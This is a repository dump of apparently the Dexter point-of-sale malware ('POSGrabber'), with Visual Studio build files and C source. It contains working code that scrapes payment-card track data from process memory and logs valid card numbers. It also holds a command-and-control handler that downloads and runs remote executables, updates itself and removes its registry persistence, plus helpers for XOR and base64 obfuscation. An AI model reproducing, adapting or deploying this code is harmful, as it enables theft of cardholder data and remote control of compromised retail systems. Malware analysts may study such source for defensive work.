956 | if(IsDigit(*Buf)==FALSE) { pBuf++; RealBufSize--; continue; } 957 | Buf++; 958 | //MessageBox(NULL,"May be WCHAR track3",NULL,MB_OK); 959 | } 960 | TotalLen += 3; //for the + and firt two digits 961 | 962 | bSentinel = TRUE; 963 | if((len = DigitsLen(Buf,bWCHAR,bSentinel))!=-1) { //valid CC length 964 | //MessageBox(NULL,"Valid CC Length",NULL,MB_OK); 965 | 966 | _memset(CC,0x00,sizeof(CC)); 967 | if(bWCHAR==TRUE) { 968 | 969 | WideCharToMultiByte(CP_ACP,0,(WCHAR *)Buf,len,CC,sizeof(CC),NULL,NULL); 970 | 971 | } else { 972 | 973 | _memcpy(CC,Buf,len); 974 | 975 | } 976 | TotalLen += len; //for CC len 977 | 978 | if(IsValidCC(CC,len)==TRUE) { 979 | //MessageBox(NULL,"Valid CC",NULL,MB_OK); 980 | 981 | //Skip CC 982 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 983 | 984 | if(*Buf=='=' || *Buf=='D') { 985 | 986 | if(bWCHAR==FALSE) { Buf++; } else { Buf += 2; } 987 | TotalLen += 1; 988 | 989 | if((len = IsEndDataValid(Buf,bWCHAR,bSentinel,(T2MaxLen-TotalLen)))!=-1) { //We have valid track 2 990 | 991 | //Skip track 3 end data 992 | if(bWCHAR==FALSE) { Buf += len; } else { Buf += 2*len; } 993 | TotalLen += len; 994 | sBuf--; //cuz we skipped the + before we assigned this pointer 995 | 996 | _memset(Track3,0x00,sizeof(Track3)); 997 | if(bWCHAR==FALSE) { _memcpy(Track3,sBuf,TotalLen); } 998 | else { WideCharToMultiByte(CP_ACP,0,(WCHAR *)sBuf,TotalLen,Track3,sizeof(Track3),NULL,NULL); } 999 | 1000 | //MessageBox(NULL,Track3,NULL,MB_OK); 1001 | if(StrStr(pCacheMap,Track3)==NULL) { //not logged 1002 | 1003 | //Sleep(1); 1004 | //MessageBox(NULL,"Add Item",NULL,MB_OK); 1005 | 1006 | AddItem(Track3,TotalLen); 1007 | AddCache(Track3,TotalLen); 1008 | 1009 | if(bWCHAR==FALSE) { pBuf += TotalLen; RealBufSize -= TotalLen; } else { pBuf += 2*TotalLen ; RealBufSize -= 2*TotalLen; } 1010 | bIncreased = TRUE; 1011 | 1012 | } 1013 | } 1014 | 1015 | } 1016 | } 1017 | 1018 | } 1019 | 1020 | } //TRACK 3 1021 | 1022 | 1023 | } //if(*Buf<0x7F && *Buf>0x20) 1024 | if(bIncreased==TRUE) { bIncreased=FALSE; goto Check; } //We just found dump, and increased over it, dont skip that char after the dump 1025 | pBuf++; 1026 | RealBufSize--; 1027 | 1028 | } //while(BufSize>0) 1029 | } 1030 | 1031 | BOOL SkipProcess(char *ProcName) { //TRUE - skip the processes, FALSE - dont skip 1032 | 1033 | int i; 1034 | 1035 | i = 0; 1036 | while(SkipProcesses[i]!=0x00) { 1037 | 1038 | if(lstrcmpi(ProcName,SkipProcesses[i])==0) { return TRUE; } 1039 | i++; 1040 | } 1041 | 1042 | return FALSE; 1043 | } 1044 | -------------------------------------------------------------------------------- /source/POSGrabber.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="POSGrabber" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Application" 0x0101 6 | 7 | CFG=POSGrabber - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "POSGrabber.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "POSGrabber.mak" CFG="POSGrabber - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "POSGrabber - Win32 Release" (based on "Win32 (x86) Application") 21 | !MESSAGE "POSGrabber - Win32 Debug" (based on "Win32 (x86) Application") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | MTL=midl.exe 30 | RSC=rc.exe 31 | 32 | !IF "$(CFG)" == "POSGrabber - Win32 Release" 33 | 34 | # PROP BASE Use_MFC 0 35 | # PROP BASE Use_Debug_Libraries 0 36 | # PROP BASE Output_Dir "Release" 37 | # PROP BASE Intermediate_Dir "Release" 38 | # PROP BASE Target_Dir "" 39 | # PROP Use_MFC 0 40 | # PROP Use_Debug_Libraries 0 41 | # PROP Output_Dir "Release" 42 | # PROP Intermediate_Dir "Release" 43 | # PROP Target_Dir "" 44 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c 45 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /c 46 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 47 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 48 | # ADD BASE RSC /l 0x409 /d "NDEBUG" 49 | # ADD RSC /l 0x409 /d "NDEBUG" 50 | BSC32=bscmake.exe 51 | # ADD BASE BSC32 /nologo 52 | # ADD BSC32 /nologo 53 | LINK32=link.exe 54 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 55 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 56 | 57 | !ELSEIF "$(CFG)" == "POSGrabber - Win32 Debug" 58 | 59 | # PROP BASE Use_MFC 0 60 | # PROP BASE Use_Debug_Libraries 1 61 | # PROP BASE Output_Dir "Debug" 62 | # PROP BASE Intermediate_Dir "Debug" 63 | # PROP BASE Target_Dir "" 64 | # PROP Use_MFC 0 65 | # PROP Use_Debug_Libraries 1 66 | # PROP Output_Dir "Debug" 67 | # PROP Intermediate_Dir "Debug" 68 | # PROP Target_Dir "" 69 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c 70 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /YX /FD /GZ /c 71 | # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 72 | # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 73 | # ADD BASE RSC /l 0x409 /d "_DEBUG" 74 | # ADD RSC /l 0x409 /d "_DEBUG" 75 | BSC32=bscmake.exe 76 | # ADD BASE BSC32 /nologo 77 | # ADD BSC32 /nologo 78 | LINK32=link.exe 79 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept 80 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept 81 | 82 | !ENDIF 83 | 84 | # Begin Target 85 | 86 | # Name "POSGrabber - Win32 Release" 87 | # Name "POSGrabber - Win32 Debug" 88 | # Begin Group "Source Files" 89 | 90 | # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" 91 | # Begin Source File 92 | 93 | SOURCE=.\HttpInteract.c 94 | # End Source File 95 | # Begin Source File 96 | 97 | SOURCE=.\Infect.c 98 | # End Source File 99 | # Begin Source File 100 | 101 | SOURCE=.\InjectSection.c 102 | # End Source File 103 | # Begin Source File 104 | 105 | SOURCE=.\POSGrabber.c 106 | # End Source File 107 | # End Group 108 | # Begin Group "Header Files" 109 | 110 | # PROP Default_Filter "h;hpp;hxx;hm;inl" 111 | # Begin Source File 112 | 113 | SOURCE=.\Config.h 114 | # End Source File 115 | # Begin Source File 116 | 117 | SOURCE=.\Globals.h 118 | # End Source File 119 | # End Group 120 | # Begin Group "Resource Files" 121 | 122 | # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" 123 | # End Group 124 | # End Target 125 | # End Project 126 | -------------------------------------------------------------------------------- /source/POSGrabber.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "POSGrabber"=".\POSGrabber.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /source/POSGrabber.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual C++ Express 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "posgrabber", "posgrabber.vcxproj", "{63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Debug|Win32.Build.0 = Debug|Win32 14 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Release|Win32.ActiveCfg = Release|Win32 15 | {63EAE1C4-F0C0-A4E7-04C1-13F4939510EB}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /source/POSGrabber.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/POSGrabber.suo -------------------------------------------------------------------------------- /source/POSGrabber.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 26 | 29 | 32 | 35 | 38 | 47 | 64 | 67 | 72 | 75 | 85 | 88 | 91 | 94 | 99 | 102 | 105 | 108 | 111 | 112 | 122 | 125 | 128 | 131 | 134 | 143 | 158 | 161 | 166 | 169 | 179 | 182 | 185 | 188 | 193 | 196 | 199 | 202 | 205 | 206 | 207 | 208 | 209 | 210 | 214 | 217 | 218 | 221 | 222 | 225 | 228 | 232 | 233 | 236 | 240 | 241 | 242 | 245 | 248 | 252 | 253 | 256 | 260 | 261 | 262 | 265 | 268 | 272 | 273 | 276 | 280 | 281 | 282 | 285 | 288 | 292 | 293 | 296 | 300 | 301 | 302 | 305 | 306 | 307 | 311 | 314 | 315 | 318 | 319 | 320 | 324 | 325 | 326 | 327 | 328 | 329 | -------------------------------------------------------------------------------- /source/common.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "Globals.h" 4 | 5 | void *_memset(void *s, int c, size_t n) { 6 | 7 | size_t i; 8 | char * ptr = s; 9 | 10 | for (i = 0; i < n; i++, ptr++) 11 | { 12 | *ptr = c; 13 | } 14 | return s; 15 | } 16 | 17 | void *_memcpy(void* dest, const void* src, size_t count) { 18 | char* dst8 = (char*)dest; 19 | char* src8 = (char*)src; 20 | 21 | while (count--) { 22 | *dst8++ = *src8++; 23 | } 24 | return dest; 25 | } 26 | 27 | int base64_decode(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst) { 28 | 29 | BYTE s1,s2,s3,s4; 30 | BYTE d1,d2,d3; 31 | 32 | int j,nLenOut= 0; 33 | for(j=0; j nLenDst ) { 35 | return( 0 ); // error, buffer too small 36 | } 37 | 38 | s1= LookupDigits[ *pSrc++ ]; 39 | s2= LookupDigits[ *pSrc++ ]; 40 | s3= LookupDigits[ *pSrc++ ]; 41 | s4= LookupDigits[ *pSrc++ ]; 42 | 43 | d1= ((s1 & 0x3f) << 2) | ((s2 & 0x30) >> 4); 44 | d2= ((s2 & 0x0f) << 4) | ((s3 & 0x3c) >> 2); 45 | d3= ((s3 & 0x03) << 6) | ((s4 & 0x3f) >> 0); 46 | 47 | *pDst++ = d1; nLenOut++; 48 | if (s3==99) break; // end padding found 49 | *pDst++ = d2; nLenOut++; 50 | if (s4==99) break; // end padding found 51 | *pDst++ = d3; nLenOut++; 52 | } 53 | 54 | return(nLenOut); 55 | } 56 | 57 | void _xor(char *src,char *key,int srclen,int keylen) { 58 | int i; 59 | 60 | i = 0; 61 | while(srclen>0) { 62 | while(i> 2) & 0x3f]; 80 | if (!--output_len) 81 | break; 82 | *output_buffer++ = b64str[(((unsigned char)(input_buffer[0]) << 4) 83 | + (--input_len ? (unsigned char)(input_buffer[1]) >> 4 : 0)) 84 | & 0x3f 85 | ]; 86 | if (!--output_len) 87 | break; 88 | *output_buffer++ = 89 | (input_len ? 90 | b64str[ 91 | ( 92 | ((unsigned char)(input_buffer[1]) << 2) + 93 | (--input_len ? (unsigned char)(input_buffer[2]) >> 6 : 0) 94 | ) & 0x3f 95 | ] 96 | : '='); 97 | 98 | if (!--output_len) 99 | break; 100 | *output_buffer++ = input_len ? b64str[(unsigned char)(input_buffer[2]) & 0x3f] : '='; 101 | if (!--output_len) 102 | break; 103 | if (input_len) 104 | input_len--; 105 | if (input_len) 106 | input_buffer += 3; 107 | } 108 | 109 | *output_buffer = '\0'; 110 | } 111 | 112 | char ny_toLower(char c){ 113 | 114 | //if(c == 0x00) return c; 115 | if(c >= 'A' && c <= 'Z') c -= (char)('A' - 'a'); 116 | return c; 117 | } 118 | 119 | 120 | int check_digit (char c) { 121 | return (c>='0') && (c<='9'); 122 | } 123 | 124 | char from_hex(char ch) { 125 | return check_digit(ch) ? ch - '0' : ny_toLower(ch) - 'a' + 10; 126 | } 127 | 128 | void url_decode(char *str, char *buf) { 129 | 130 | char *pstr = str, *pbuf = buf; 131 | 132 | while (*pstr) { 133 | if (*pstr == '%') { 134 | if (pstr[1] && pstr[2]) { 135 | *pbuf++ = from_hex(pstr[1]) << 4 | from_hex(pstr[2]); 136 | pstr += 2; 137 | } 138 | } else if (*pstr == '+') { 139 | *pbuf++ = ' '; 140 | } else { 141 | *pbuf++ = *pstr; 142 | } 143 | pstr++; 144 | } 145 | *pbuf = '\0'; 146 | } 147 | 148 | int _atoi(const char *string) { 149 | 150 | int i; 151 | 152 | 153 | i=0; 154 | while(*string) 155 | { 156 | i=(i<<3) + (i<<1) + (*string - '0'); 157 | string++; 158 | } 159 | 160 | return(i); 161 | } 162 | 163 | int CopyTill(char *dest,char *src,char c) { 164 | 165 | int i; 166 | 167 | i = 0; 168 | while(*src!=c) { 169 | *dest = *src; 170 | dest++; 171 | src++; 172 | i++; 173 | } 174 | *dest = 0x00; 175 | 176 | return i; 177 | } 178 | 179 | void RandStrA(char *ptr,int len) { 180 | 181 | int i; 182 | char c; 183 | 184 | i = 0; 185 | _srand(GetTickCount()); 186 | 187 | while(i= 0 && ulSize == sizeof(pbi)) 300 | return pbi[5]; 301 | } 302 | return (ULONG_PTR)-1; 303 | } 304 | 305 | void MonitorShutdown() { 306 | 307 | MSG msg; 308 | WNDCLASSEX wcex; 309 | 310 | 311 | wcex.cbSize = sizeof(WNDCLASSEX); 312 | wcex.style = CS_HREDRAW | CS_VREDRAW; 313 | wcex.lpfnWndProc = (WNDPROC)DetectShutdown; 314 | wcex.cbClsExtra = 0; 315 | wcex.cbWndExtra = 0; 316 | wcex.hInstance = NULL; 317 | wcex.hIcon = NULL; 318 | wcex.hCursor = NULL; 319 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); 320 | wcex.lpszMenuName = NULL; 321 | wcex.lpszClassName = ClassName; 322 | wcex.hIconSm = NULL; 323 | RegisterClassEx(&wcex); 324 | 325 | CreateWindowEx(WS_EX_TOPMOST|WS_EX_TOOLWINDOW,ClassName,NULL,WS_POPUP,0,0,0,0,NULL,NULL,NULL,NULL); 326 | 327 | while(GetMessage(&msg,0,0,0) > 0) { 328 | 329 | TranslateMessage(&msg); 330 | DispatchMessage(&msg); 331 | } 332 | 333 | } -------------------------------------------------------------------------------- /source/posgrabber.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | Win32Proj 15 | 16 | 17 | 18 | Application 19 | true 20 | 21 | 22 | Application 23 | false 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | true 37 | 38 | 39 | false 40 | false 41 | 42 | 43 | 44 | WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) 45 | MultiThreadedDebugDLL 46 | Level3 47 | ProgramDatabase 48 | Disabled 49 | 50 | 51 | MachineX86 52 | true 53 | Windows 54 | 55 | 56 | 57 | 58 | WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) 59 | MultiThreaded 60 | Level3 61 | ProgramDatabase 62 | Disabled 63 | Default 64 | true 65 | true 66 | false 67 | false 68 | false 69 | 70 | 71 | MachineX86 72 | false 73 | Windows 74 | true 75 | true 76 | false 77 | false 78 | false 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /source/posgrabber.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /source/posgrabber.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /source/remotescript.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "Globals.h" 7 | 8 | #pragma comment(lib, "wininet.lib") 9 | #pragma comment(lib, "shlwapi.lib") 10 | 11 | 12 | 13 | 14 | void ExecCommands(char *pCommands) { 15 | 16 | char Url[255],val[5]; 17 | DWORD dVal; 18 | 19 | 20 | pCommands++; //skip '$' 21 | ///MessageBox(NULL,pCommands,NULL,MB_OK); 22 | while(*pCommands!='#' && lstrlen(pCommands)) { 23 | 24 | if(StrCmpNI(pCommands,update,lstrlen(update))==0) { 25 | 26 | pCommands += lstrlen(update); 27 | CopyTill(Url,pCommands,';'); 28 | lstrcat(Url,varKey); 29 | lstrcat(Url,Key); 30 | Update(Url); 31 | } else 32 | if(StrCmpNI(pCommands,checkin,lstrlen(checkin))==0) { 33 | 34 | pCommands += lstrlen(checkin); 35 | pCommands += CopyTill(val,pCommands,';'); 36 | pCommands += 1; 37 | 38 | dVal = _atoi(val); 39 | if(dVal>0) { ConnectInterval = dVal; } 40 | 41 | } else 42 | if(StrCmpNI(pCommands,scanin,lstrlen(scanin))==0) { 43 | 44 | pCommands += lstrlen(scanin); 45 | pCommands += CopyTill(val,pCommands,';'); 46 | pCommands += 1; 47 | 48 | dVal = _atoi(val); 49 | if(dVal>0) { ScanInterval = dVal; } 50 | } else 51 | if(StrCmpNI(pCommands,uninstall,lstrlen(uninstall))==0) { 52 | Uninstall(); 53 | } else 54 | if(StrCmpNI(pCommands,download,lstrlen(download))==0) { 55 | 56 | pCommands += lstrlen(download); 57 | pCommands += CopyTill(Url,pCommands,';'); 58 | pCommands += 1; 59 | 60 | lstrcat(Url,varKey); 61 | lstrcat(Url,Key); 62 | 63 | Downloader(Url); 64 | } 65 | 66 | } 67 | } 68 | 69 | void Downloader(char *Url) { //Downloads file in temporary internet files and executes it 70 | 71 | BYTE *pFile; 72 | HANDLE hFile; 73 | DWORD FileSize,BytesWritten; 74 | WCHAR InternetTemp[MAX_PATH],DownloadLocation[MAX_PATH],DirName[5]; 75 | STARTUPINFOW si; 76 | PROCESS_INFORMATION pi; 77 | 78 | 79 | pFile = NULL; 80 | if((pFile = DownloadFile(Url,&FileSize))!=NULL) { 81 | 82 | SHGetFolderPathW(0,CSIDL_INTERNET_CACHE,NULL,SHGFP_TYPE_CURRENT,InternetTemp); 83 | 84 | RandStrW(DirName,5); 85 | 86 | wsprintfW(DownloadLocation,L"%s\\%s",InternetTemp,DirName); 87 | CreateDirectoryW(DownloadLocation,NULL); 88 | wsprintfW(DownloadLocation,L"%s\\%s\\%s.exe",InternetTemp,DirName,DirName); 89 | 90 | hFile = CreateFileW(DownloadLocation,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 91 | BytesWritten = 0; 92 | WriteFile(hFile,pFile,FileSize,&BytesWritten,NULL); 93 | CloseHandle(hFile); 94 | 95 | VirtualFree(pFile,FileSize,MEM_DECOMMIT); //free the download file 96 | 97 | 98 | //Launch the new bin 99 | _memset(&si,0x00,sizeof(si)); 100 | _memset(&pi,0x00,sizeof(pi)); 101 | 102 | CreateProcessW(DownloadLocation,NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi); 103 | 104 | } 105 | 106 | } 107 | 108 | void Uninstall() { 109 | 110 | HANDLE hProcess; 111 | 112 | //Terminate the working threads 113 | TerminateThread(hThreadRegistry,0); 114 | TerminateThread(hThreadChild,0); 115 | TerminateThread(hThreadScan,0); 116 | /////////////////////////////////// 117 | 118 | //Kill the child process 119 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,ChildPID); 120 | TerminateProcess(hProcess,0); 121 | CloseHandle(hProcess); 122 | //////////////////////////////////////////////////////// 123 | 124 | //Delete main reg key 125 | RegDeleteKey(HKEY_CURRENT_USER,SoftwareName); 126 | /////////////////// 127 | 128 | //Delete startup reg keys 129 | RegDeleteKey(HKEY_LOCAL_MACHINE,RunPath); 130 | RegDeleteKey(HKEY_USERS,AllUsersRunPath); 131 | RegDeleteKey(HKEY_CURRENT_USER,RunPath); 132 | ////////////////////////////////////////////////////// 133 | 134 | //Delete the file 135 | DeleteFileW(CurrentLocation); 136 | /////////////////////// 137 | 138 | ExitProcess(0); 139 | } 140 | void Update(char *Url) { 141 | 142 | HANDLE hFile,hProcess,hUpdateMutex; 143 | DWORD BytesWritten,FileSize,i; 144 | BYTE *pFile; 145 | STARTUPINFOW si; 146 | PROCESS_INFORMATION pi; 147 | char UpdateMutexString[64]; 148 | WCHAR CommandLine[64],DirName[5],AppData[MAX_PATH],UpdateLocation[MAX_PATH]; 149 | 150 | 151 | pFile = NULL; 152 | if((pFile = DownloadFile(Url,&FileSize))!=NULL) { 153 | 154 | SuspendThread(hThreadRegistry); 155 | SuspendThread(hThreadChild); 156 | SuspendThread(hThreadScan); 157 | 158 | RandStrW(DirName,5); 159 | SHGetFolderPathW(0,CSIDL_APPDATA,NULL,SHGFP_TYPE_CURRENT,AppData); 160 | 161 | wsprintfW(UpdateLocation,L"%s\\%s",AppData,DirName); 162 | CreateDirectoryW(UpdateLocation,NULL); 163 | wsprintfW(UpdateLocation,L"%s\\%s\\%s.exe",AppData,DirName,DirName); 164 | 165 | hFile = CreateFileW(UpdateLocation,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 166 | BytesWritten = 0; 167 | WriteFile(hFile,pFile,FileSize,&BytesWritten,NULL); 168 | CloseHandle(hFile); 169 | 170 | VirtualFree(pFile,FileSize,MEM_DECOMMIT); //free the download file 171 | 172 | //Launch the new bin 173 | _memset(&si,0x00,sizeof(si)); 174 | _memset(&pi,0x00,sizeof(pi)); 175 | 176 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString)); 177 | _memset(CommandLine,0x00,sizeof(CommandLine)); 178 | wsprintf(UpdateMutexString,"%s%s",UpdateMutexMark,Key); 179 | MultiByteToWideChar(CP_ACP,0,UpdateMutexString,lstrlen(UpdateMutexString),CommandLine,sizeof(CommandLine)); 180 | 181 | if(CreateProcessW(UpdateLocation,CommandLine,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi)!=0) { //process successfully created 182 | 183 | i = 0; 184 | while(i<60) { //Wait 1 min for the mutex 185 | 186 | SetLastError(ERROR_SUCCESS); 187 | hUpdateMutex = CreateMutex(NULL,FALSE,UpdateMutexString); 188 | if(GetLastError()==ERROR_ALREADY_EXISTS) { //Seems like the updatebin worked fine 189 | 190 | //Kill the threads 191 | TerminateThread(hThreadRegistry,0); 192 | TerminateThread(hThreadChild,0); 193 | TerminateThread(hThreadScan,0); 194 | /////////////////////////////////////// 195 | 196 | //Kill the child process 197 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,ChildPID); 198 | TerminateProcess(hProcess,0); 199 | CloseHandle(hProcess); 200 | //////////////////////////////////////////////////////// 201 | 202 | DeleteFileW(CurrentLocation); 203 | 204 | CloseHandle(hUpdateMutex); 205 | CloseHandle((HANDLE)hMutex); 206 | 207 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString)); 208 | wsprintf(UpdateMutexString,"%s%s%d",UpdateMutexMark,Key,pi.dwProcessId); 209 | 210 | CreateMutex(NULL,FALSE,UpdateMutexString); //Tells to the update bin that it can start normal execution flow 211 | while(1) { Sleep(5000); } //Waits to be killed by the update bin 212 | } 213 | 214 | CloseHandle(hUpdateMutex); 215 | i++; 216 | Sleep(1000); 217 | } 218 | } 219 | /////////////////////////////////////////////// 220 | 221 | } //Checks if file was downloaded 222 | 223 | //Update failed - resume work 224 | ResumeThread(hThreadRegistry); 225 | ResumeThread(hThreadChild); 226 | ResumeThread(hThreadScan); 227 | } 228 | 229 | --------------------------------------------------------------------------------